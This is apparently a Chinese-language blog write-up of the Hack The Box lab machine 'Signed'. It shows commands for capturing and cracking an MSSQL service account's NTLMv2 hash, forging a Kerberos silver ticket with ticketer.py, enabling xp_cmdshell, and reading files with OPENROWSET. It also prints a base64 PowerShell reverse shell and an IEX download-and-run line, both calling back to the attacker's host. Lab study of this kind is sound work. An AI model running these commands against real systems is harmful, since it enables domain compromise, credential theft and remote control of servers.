HTB-Signed

前言

HTB Session 9 Signed

Medium

https://app.hackthebox.com/machines/Signed?sort_by=created_at&sort_type=desc

靶机ip

1
10.129.242.173

MSSQL初始凭据

1
scott:Sm230#C5NatH

信息收集

端口扫描

1
nmap  -p- --min-rate 1000 10.129.242.173 -oA nmap/port
1
2
PORT     STATE SERVICE                                                                                                                                                                    
1433/tcp open ms-sql-s

只开放1433端口,mssql服务

1
nmap -sV -sC -O -p1433 10.129.242.173 -oN nmap/detail
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PORT     STATE SERVICE  VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.129.242.173:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-02-11T12:00:36
|_Not valid after: 2056-02-11T12:00:36
| ms-sql-ntlm-info:
| 10.129.242.173:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
|_ssl-date: 2026-02-11T13:00:28+00:00; 0s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (95%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (95%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
  • 域名:SIGNED.HTB
  • DNS:DC01.SIGNED.HTB

将其加入hosts

1
10.129.242.173 SIGNED.HTB DC01.SIGNED.HTB

使用初始凭据登录 MSSQL

impacket 套件连接mssql

1
impacket-mssqlclient signed.htb/scott:'Sm230#C5NatH'@10.129.242.173

image-20260211210857599

查看用户

1
enum_users

image-20260211211804601

当前的scott用户被映射成了guest

查看当前用户权限

1
2
SELECT SYSTEM_USER;  -- 返回:guest
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 返回:0(不是管理员)

检查xp_dirtree可用性

  • xp_dirtree是一个扩展存储过程,用于遍历目录
  • 但它有一个副作用:当访问UNC路径时,会尝试SMB认证
  • 这就可以用来窃取服务账户的NTLM哈希
1
2
3
4
5
SELECT OBJECT_ID('master..xp_dirtree') AS objid;
返回-630944181 表示xp_dirtree 这个对象在系统中确实存在(有对象 ID -630944181

SELECT HAS_PERMS_BY_NAME('master..xp_dirtree','OBJECT','EXECUTE') AS can_execute_xp_dirtree;
返回1,表示当前登录用户(scott,连接身份 guest@master)具有执行 xp_dirtree 的权限

image-20260211212031706

NTLMRelay

启动Responder监听

1
responder -I tun0

触发UNC访问

1
EXEC master..xp_dirtree '\\10.10.14.142\sfsdafasd';
1
2
3
4
mssqlsvc::SIGNED:41ec88a57d4232fd:B4ADE8EC8B2B696614A1EE46E72D760D:010100000000000000B09E84309BDC01CD9A7887B751EB9E00000000020008004B0041004B004F0001001E00570
049004E002D00320036004F004800470047004600420043005A00560004003400570049004E002D00320036004F004800470047004600420043005A0056002E004B0041004B004F002E004C004F00430041004C00030014004B0041004
B004F002E004C004F00430041004C00050014004B0041004B004F002E004C004F00430041004C000700080000B09E84309BDC01060004000200000008003000300000000000000000000000003000005D1EB997B3A0AD2305C0B4F38C5
3EFEB38FCB64474038088098D7EFDEC2E90EB0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100340032000000000000000000

得到ntlmv2 hash,保存并破解

1
hashcat -m 5600 mssql.hash /usr/share/wordlists/rockyou.txt

结果如下

1
purPLE9795!@

得到

mssqlsvc凭据

1
MSSQLSVC:purPLE9795!@

使用新凭据登录

1
2
3
4
impacket-mssqlclient signed.htb/MSSQLSVC:'purPLE9795!@'@10.129.242.173 -windows-auth


mssqlsvc是域服务账户,使用域ker认证登录,而不是用数据库本地认证登录,所以需要加-windows-auth

成功登录

image-20260211213900611

1
2
SELECT SYSTEM_USER;  -- 返回:guest
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 返回:0(不是管理员

依然没啥权限

票据伪造

查看可模拟的用户

1
enum_impersonate

image-20260211214354475

可以在msdb模拟成dc_admin

1
2
3
USE msdb;
EXECUTE AS USER = 'dc_admin';
SELECT SYSTEM_USER, USER_NAME();

image-20260211214546932

查看哪些用户是sysadmin

1
2
3
4
5
SELECT r.name AS role, m.name AS member 
FROM sys.server_principals r
JOIN sys.server_role_members rm ON r.principal_id=rm.role_principal_id
JOIN sys.server_principals m ON rm.member_principal_id=m.principal_id
WHERE r.name='sysadmin';
1
2
3
4
5
6
sysadmin   sa            
sysadmin SIGNED\IT
sysadmin NT SERVICE\SQLWriter
sysadmin NT SERVICE\Winmgmt
sysadmin NT SERVICE\MSSQLSERVER
sysadmin NT SERVICE\SQLSERVERAGENT

SIGNED\IT是sysadmin

尝试伪造SIGNED\IT用户白银票据

1
2
3
4
5
6
7
8
9
10
11
12
白银票据的条件:
1.需要域的SID值
2.域名
3.需要当前服务账户的SID值以及想伪造的服务账户的SID值
4.需要服务账户的密码的NTLM的hash
5.spn服务名称


域中常见的sid值:
512 → Domain Admins
519 → Enterprise Admins
500 → Administrator

查看当前域名

1
select DEFAULT_DOMAIN() as mydomain;

image-20260211215328069

查看SIGNED\IT 的SID值

1
2
3
select SUSER_SID('SIGNED\IT')

//b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'

image-20260211215357044

利用脚本来解SID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
"""
sid_decode.py

将 Windows 二进制 SID(十六进制)解码为可读格式 S-1-...

用法:
- 单个十六进制字符串:
./sid_decode.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
- 多个:
./sid_decode.py hex1 hex2
- 从 stdin 读取:
echo "0105..." | ./sid_decode.py
./sid_decode.py < hexlist.txt
"""

import sys

def clean_hex(s: str) -> str:
"""清理输入:去掉0x前缀、空格、冒号等"""
s = s.strip().lower()
if s.startswith("0x"):
s = s[2:]
s = s.replace(" ", "").replace("\n", "").replace("\r", "").replace(":", "").replace(",", "")
return s

def decode_sid_from_hex(hexs: str) -> str:
"""把二进制SID(hex)转为 S-1-... 格式"""
hx = clean_hex(hexs)
if len(hx) % 2 != 0:
raise ValueError("十六进制长度必须为偶数。")
b = bytes.fromhex(hx)
if len(b) < 8:
raise ValueError("数据太短,无法构成有效 SID。")

rev = b[0]
subc = b[1]
ident = int.from_bytes(b[2:8], 'big')
if len(b) < 8 + 4 * subc:
raise ValueError("长度不足以容纳所有子授权(sub-authorities)。")

subs = [str(int.from_bytes(b[8 + 4*i:12 + 4*i], 'little')) for i in range(subc)]
return f"S-{rev}-{ident}" + "".join("-" + s for s in subs)

def main(argv):
if len(argv) <= 1:
data = sys.stdin.read().strip()
if not data:
print("用法: sid_decode.py <hex> [hex2 ...]\n或通过 stdin 管道输入十六进制字符串。", file=sys.stderr)
sys.exit(2)
parts = data.split()
else:
parts = argv[1:]

for p in parts:
try:
sid = decode_sid_from_hex(p)
print(f"INPUT : {p}\nOUTPUT: {sid}\n")
except Exception as e:
print(f"INPUT : {p}\nERROR : {e}\n")

if __name__ == "__main__":
main(sys.argv)

image-20260211215909145

1
S-1-5-21-4088429403-1159899800-2753317549-1105

当前服务账户sid

1
2
3
select SUSER_SID('SIGNED\mssqlsvc')

//b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'

解密后

1
S-1-5-21-4088429403-1159899800-2753317549-1103

mssqlsvc的ntlmhash

1
2
3
iconv -f ASCII -t UTF-16LE <(printf 'purPLE9795!@') | openssl dgst -md4

ef699384c3285c54128a3ee1ddb1a0cc

制作白银票据

1
2
3
4
5
6
7
8
ticketer.py \
-nthash ef699384c3285c54128a3ee1ddb1a0cc \ # mssqlsvc的NTLM哈希
-domain-sid S-1-5-21-4088429403-1159899800-2753317549 \ # 域SID
-domain signed.htb \ # 域名
-spn MSSQLSvc/DC01.signed.htb:1433 \ # 服务主体名称
-groups 1105 \ # IT用户的RID(将其加入对应组)
-user-id 500 \ # 伪造的用户RID(Administrator是500)
Administrator # 伪造的用户名
1
export KRB5CCNAME=Administrator.ccache

登入

1
impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB
1
2
SELECT SYSTEM_USER;  -- 返回:SIGNED\Administrator
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 返回:1(是管理员

开启xp_cmdshell

1
2
enable_xp_cmdshell;
RECONFIGURE;

反弹shell

执行命令

1
xp_cmdshell whoami

image-20260211222700598

因为启动mssql的进程是mssqlsvc,所以只能得到mssqlsvc的权限

反弹shell

1
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADIAIgAsADYANgA2ADYAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

image-20260211223059687

在mssqlsvc用户桌面找到第一个flag

1
0120bc46819d52479f92815701aeeb25

看不了administrator,权限不够

提权

内存加载winpeas

1
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.142:8080/winPEAS.ps1')"

加载失败,应该有amsi

白银票据尝试伪造域管组

1
2
3
4
5
6
7
8
ticketer.py \
-nthash EF699384C3285C54128A3EE1DDB1A0CC \
-domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
-domain SIGNED.HTB \
-spn MSSQLSvc/DC01.SIGNED.HTB \ # 注意:这里没有端口号
-groups 512,519,1105 \ # 512=Domain Admins, 519=Enterprise Admins
-user-id 1103 \ # mssqlsvc的RID
mssqlsvc # 用户名

通过OPENROWSET 读文件

1
2
OPENROWSET 是 SQL Server 的一个即席查询函数,允许直接从 OLE DB 数据源查询数据,无需链接服务器。
SQL 查询里直接读另一个数据库/文件的数据。

SQL Server 检查当前用户,通过票据伪造,让sqlserver认为当前用户是域管权限,所以sqlserver会允许 BULK,使用服务账号去尝试读取

1
2
3
4
5
6
7
8
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS x;


OPENROWSET 即席访问外部数据的函数
BULK 指定使用大容量数据访问接口读取文件
'C:\Users\Administrator\Desktop\root.txt' 要读取的文件路径(目标机本地路径)
SINGLE_CLOB 将文件内容作为单行单列的大文本数据返回(CLOB = Character Large Object
AS x 为结果集指定别名 x

最后得到flag

1
946a98328cc9ba459f8ce2979cbe52a0

HTB-Signed
http://xiaowu5.cn/2026/02/12/HTB-Signed/
作者
5
发布于
2026年2月12日
许可协议
BY XIAOWU